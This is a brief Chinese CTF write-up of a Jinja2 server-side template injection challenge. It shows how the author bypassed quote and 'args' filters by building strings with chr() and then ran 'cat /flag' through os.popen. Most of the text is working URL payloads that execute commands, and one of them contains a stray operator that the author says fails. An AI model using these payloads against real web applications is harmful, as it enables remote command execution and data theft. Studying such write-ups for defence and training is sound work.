?
用上题的方法,发现还是有东西被过滤了
筛选后发现是args
过滤了引号和args,上题的姿势不能用了,但是可以用chr()函数绕过。
可以用这个payload判断chr()函数的位置: {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
用bp跑后发现有这几个,可以任意取
?取80
分析一下别人的wp(现在的水平也只能这样了)
?name={%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
%2b不能换成+,不然出不来
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
前面加一段{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
然后再把''里的东西用ASCII码代替
但是如果用之前常用的代码ASCII码修改还是没有用
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2b](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}
?
|